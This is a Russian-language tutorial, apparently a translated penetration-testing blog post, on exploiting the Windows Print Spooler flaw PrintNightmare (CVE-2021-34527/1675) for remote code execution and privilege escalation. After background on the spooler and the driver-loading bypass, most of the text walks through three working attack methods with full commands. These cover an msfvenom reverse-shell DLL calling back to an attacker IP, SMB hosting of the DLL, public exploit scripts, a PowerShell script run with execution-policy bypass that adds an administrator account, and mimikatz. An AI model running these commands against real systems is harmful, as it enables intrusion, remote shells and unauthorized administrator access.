Здравствуйте, дорогие друзья. Сегодня рассмотрим несколько методов повышения привилегий Windows, на примере уязвимости CVE-2021-34527.
Введение
Print Spooler находился в поле зрения исследователей с тех пор, как червь Stuxnet использовал уязвимость повышения привилегий диспетчера очереди печати для распространения по сети в центрифугах ядерного обогащения Ирана и заразил более 45 000 сетей. PrintNightmare — это общее название уязвимости удаленного выполнения кода в службе диспетчера очереди печати (spoolsv.exe) в операционных системах Microsoft Windows. Уязвимости присвоен CVE-2021-34527. Первоначально это рассматривалось как повышение локальных привилегий (LPE) и ему был присвоен CVE-2021-1675. Непосредственные исправления для LPE были выпущены в июне 2021 года и получили низкую степень серьезности. Примерно через две недели Microsoft изменила статус LPE с низкой серьезности на серьезный, поскольку было обнаружено, что исправления были обойдены, а удаленному выполнению кода присвоен CVE-2021-34527. Возникли разногласия после недопонимания между авторами и Microsoft, когда эксплойт RCE был опубликован на GitHub до выхода патчей, что сделало его уязвимостью нулевого дня. Однако его тут же откатили. В этой статье мы сосредоточимся на повышении привилегий с использованием уязвимости диспетчера очереди печати. Популярность, которую он получил в 2021 году, сделала его уязвимостью года.
Related CVEs:
Vulnerability Type Remote Code Execution
Severity High
Base CVSS Score 9.3
Versions Affected Windows_10:20h2, Windows_10:21h1, Windows_10:1607,
Windows_10:1809, Windows_10:1909, Windows_10:2004,
Windows_7sp1, Windows_8.1, Windows_rt_8.1,
Windows_Server_2008, Windows_Server_2008,
Windows_Server_2012, Windows_Server_2012:r2,
Windows_Server_2016, Windows_Server_2016:20h2,
Windows_Server_2016:2004, Windows_Server_2019
Vulnerability Type Local Privilege Escalation
Severity High
Base CVSS Score 9.3
Versions Affected Windows_10:20h2, Windows_10:21h1, Windows_10:1607,
Windows_10:1809, Windows_10:1909, Windows_10:2004,
Windows_7sp1, Windows_8.1, Windows_rt_8.1,
Windows_Server_2008, Windows_Server_2008,
Windows_Server_2012, Windows_Server_2012:r2,
Windows_Server_2016, Windows_Server_2016:20h2,
Windows_Server_2016:2004, Windows_Server_2019
Related Advisories:
Содержание
· Основные сведения о диспетчере очереди печати
· Сводка уязвимостей
· Поток уязвимостей
· IP-адреса машин
· Метод 1 — PrintNightmare RCE с использованием Python
· Метод 2 — PrintNightmare LPE с использованием Powershell
· Метод 3 — Printnightmare LPE с использованием Mimikatz
· Статус исправления
· Заключение
Основные сведения о диспетчере очереди печати
Диспетчер очереди печати — это основной интерфейс процесса печати. Это встроенный EXE-файл, который загружается при запуске системы. Процесс печати выглядит следующим образом:
Приложение: Приложение печати создает задание на печать, вызывая интерфейс графического устройства (GDI).
GDI: GDI включает в себя компоненты как пользовательского режима, так и режима ядра для поддержки графики.
winspool.drv — это интерфейс, который взаимодействует со спулером. Он предоставляет заглушки RPC, необходимые для доступа к серверу.
spoolsv.exe — это API-сервер спулера. Этот модуль реализует маршрутизацию сообщений поставщику печати с помощью маршрутизатора (spoolss.dll).
spoolss.dll определяет, какой поставщик печати следует вызвать, на основе имени принтера и передает вызов функции правильному поставщику.
Сводка уязвимостей
Протокол MS-RPRN (удаленный протокол системы печати) имеет метод RpcAddPrinterDriverEx(), который позволяет удаленно устанавливать драйверы пользователями с правом SeLoadDriverPrivilege. Это право есть только у пользователей в группе Администраторы. Итак, эксплойт пытается обойти эту аутентификацию в RpcAddPrinterDriver. Техника предоставлена afwu: https://github.com/afwu
Cube0x0: https://github.com/cube0x0 написал в Твиттере, что ему удалось добиться тех же результатов, используя метод RpcAsyncAddPrinterDriver() протокола MS-PAR, который похож на RpcAddPrinterDriver и загружает драйверы удаленно. Технику можно найти здесь: https://github.com/cube0x0/CVE-2021-1675
В этой демонстрационной статье мы будем использовать оба эти метода.
Поток уязвимостей
Чтобы понять поток уязвимостей, давайте сначала разберемся с работой RpcAddPrinterDriver. Шаги следующие:
· Добавление драйвера принтера в вызов сервера (RpcAddPrinterDriver)
· Клиент (злоумышленник) создает общий ресурс, к которому доступны файлы драйвера принтера.
· Клиент (злоумышленник) создает контейнер драйвера MS-RPRN (удаленный протокол системы печати), в котором есть DRIVER_INFO_2. (по сути, это переменные, содержащие путь к DLL, тип архитектуры и т. д.)
· Клиент (Злоумышленник) звонит: RpcAddPrinterDriver("<имя сервера печати>", DriverContainer);
Проверка безопасности: когда клиент вызывает эту функцию, система проверяет, имеет ли клиент «SeLoadDriverPrivilege», который по умолчанию предоставляется группе администраторов.
Обход проверки безопасности: AFWU упомянул в своей исходной статье, что пользователь может указать следующие параметры в службе спулера:
pDataFile =A.dll
pConfigFile =B.dll
pDriverPath=C.dll
Служба спулера скопирует DLL-файлы A, B, C вC:\Windows\System32\spool\drivers\x64\3\new, а затем загрузит их в C:\Windows\System32\spool\drivers\x64\3.
Далее он уточняет, что для pDataFile и pDriverPath в Windows есть проверка, что эти DLL не могут быть путем UNC. Но pConfigFile может быть UNC-путем, поэтому злоумышленник может сделать следующее:
pDataFile =A.dll
pConfigFile =\\attacker_share\evil.dll
pDriverPath=C.dll
Что теоретически заставит Windows загрузить evil.dll с общего ресурса злоумышленника.
Таким образом, обход аутентификации происходит следующим образом:
· RpcAddPrinterDriver вызывается с предложенными параметрами и UNC-путем, ведущим к вредоносной DLL.
· ВредоноснаяDLL скопирована вC:\Windows\System32\spool\drivers\x64\3\evil.dll.
· Но это вызывает конфликт доступа, поэтому мы вызываем функцию резервного копирования драйверов и копируем старые драйверы (включая нашу вредоносную DLL) в каталогC:\Windows\System32\spool\drivers\x64\3\old\1\
· Замените путь pConfigFile к DLL на этот путьC:\Windows\System32\spool\drivers\x64\3\old\1\evil.dll.
· Ограничение доступа теперь обойдено, и DLL успешно загружена в spoolsv.exe.
Это было подробно описано в его статье на Github, которая была удалена.
IP-адреса машин
В ходе демонстрации были взяты следующие IP-адреса:
IP злоумышленника: 192.168.1.2
IP жертвы: 192.168.1.190
Используемые скомпрометированные учетные данные: ignite/123.
Метод 1 — PrintNightmare RCE с использованием Python
Это метод, относящийся к CVE-2021-34527 (удаленное выполнение кода от имени администратора). Вы можете найти официальный PoC Cube0x0 здесь: https://github.com/cube0x0/CVE-2021-1675. Здесь мы будем использовать раздвоенную версию.
Во-первых, нам нужно создать вредоносный файл DLL, который будет запускаться от имени АДМИНИСТРАТОРА. Для этого мы используем msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll
Теперь мы можем проверить, уязвима ли цель или нет, используя вспомогательный модуль Metasploit. Здесь я ввел случайный путь для аргумента DLL_PATH, поскольку я не запускаю эксплойт, мне просто нужно сканировать. В ходе нашего тестирования мы обнаружили, что printnightmare Metasploit ненадежен, и поэтому мы не показываем здесь эту технику. Однако Вы можете протестировать его самостоятельно и посмотреть, сработает ли он у вас. Этот запуск подтвердил, что жертва уязвима для printnightmare.
use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit
Теперь мы заранее запускаем обработчик перед выполнением нашего DLL-файла с использованием эксплойта.
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit
Теперь нам нужно клонировать репозиторий GitHub. Мы используем раздвоенную версию оригинального эксплойта Cube0x0.
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py
Хорошо, остался последний шаг — разместить вредоносную DLL на нашем сервере SAMBA. Вы можете настроить сервер Samba вручную в Kali, использовать хост Windows для его размещения или более простой подход — использовать smbserver impacket.
Добавьте желаемое имя общего ресурса (в моем случае используется «share»), а затем укажите путь (в моем случае /root), по которому Вы сохранили вредоносную DLL.
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
Когда все подготовлено и готово, мы можем запустить эксплойт RCE. Исполнение простое
./exploit.py учётные данные@IP ‘UNC_PATH размещенной DLL’
Здесь мы только что запустили общий ресурс на импакете, мы будем использовать его в качестве пути UNC.
./CVE-2021-34527.py ignite:123@192.168.1.190 '\\192.168.1.2\share\evil.dll'
Как видите, жертва успешно выполнила наш DLL-файл и вернула нам сеанс уровня администратора на жертве!
Метод 2 — PrintNightmare LPE с использованием Powershell
Мы видели удаленный эксплойт, относящийся к CVE 2021-34527. Теперь мы увидим более старый эксплойт локального повышения привилегий. AFWU реализовала оригинальный эксплойт на языке C plus plus, а Калеб Стюарт и Джон Хаммонд создали работающий PoC в PowerShell. В отличие от традиционного эксплойта, для этой версии злоумышленнику не требуется создавать SMB-сервер для использования. Вместо удаленного внедрения пути UNC авторы создают отдельную DLL во временном каталоге и выполняют локальное внедрение пути UNC.
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls –al
Теперь, когда жертва скомпрометирована, мы можем загрузить этот файл ps1 в каталог \Users\Public, используя IWR и настроив http-сервер Python в каталоге CVE-2021-1675.
cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
cd C:\Users\Public
dir
Теперь мы можем выполнить этот файл ps1 с помощью PowerShell. Этот сценарий PowerShell поможет нам добавить нового пользователя в группу администраторов, используя указанные учетные данные. Для этого нам нужно запустить интерактивную оболочку PowerShell и вызвать модуль следующим образом:
powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"
Как вы можете видеть, сценарий создал специальную DLL, которая добавляет нового пользователя «harsh» с паролем 123 в группу администраторов, и сценарий использует очередь печати.
net localgroup administrator
Мы можем подтвердить это, войдя в систему жертвы с помощью psexec.
python3 psexec.py harsh:123@192.168.1.190
Мы можем войти в систему с учетными данными и подтвердить с помощью команды net user, что теперь harsh является членом администраторов.
Метод 3 — Printnightmare LPE с использованием Mimikatz
Когда PoC появился в Интернете, новый плагин mimikatz был добавлен в раздел «Разное» (misc::printnightmare). Чтобы использовать mimikatz, мы будем использовать существующий файл DLL «evil.dll», а также нам понадобится наш SMB-сервер, работающий в существующей конфигурации. Теперь мы загрузим mimikatz.exe на нашу Kali и запустим HTTP-сервер Python.
python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
misc::printnightmare /library:\\192.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50
Как подтвердил Mimikatz, процедура прошла успешно. Он выдает исключение (вероятно, из-за некоторых символов в DLL), но DLL все равно работает, и в multi/handler получена обратная оболочка.
Обязательно настройте обработчик в Metasploit, перед запуском этой команды. Если все пойдет правильно, Вы увидите обратную оболочку!
Таким образом, мы провели повышение привилегий, воспользовавшись уязвимостью PrintNightmare.
Статус исправления
Microsoft выпустила дополнительные исправления для устранения этой уязвимости, которые можно найти в бюллетене MSRC, упомянутом во введении. Кроме того, системным администраторам следует рассмотреть возможность отключения функций указания и печати, а также отключения печати для пользователей, где в этом нет необходимости.
Заключение
Из-за характера этой уязвимости и простоты использования PrintNightmare является серьезной уязвимостью, которая де-факто получила награду «Уязвимость года» в 2021 году. С тех пор появилось множество новых эксплойтов, нацеленных на spoolsv.exe, несмотря на все усилия Microsoft, исправления обходятся, поэтому аналитикам настоятельно рекомендуется быть в курсе предстоящих угроз для диспетчера очереди печати и обновлять свои определения мониторинга. Надеюсь, Вам понравилась статья. Спасибо за прочтение.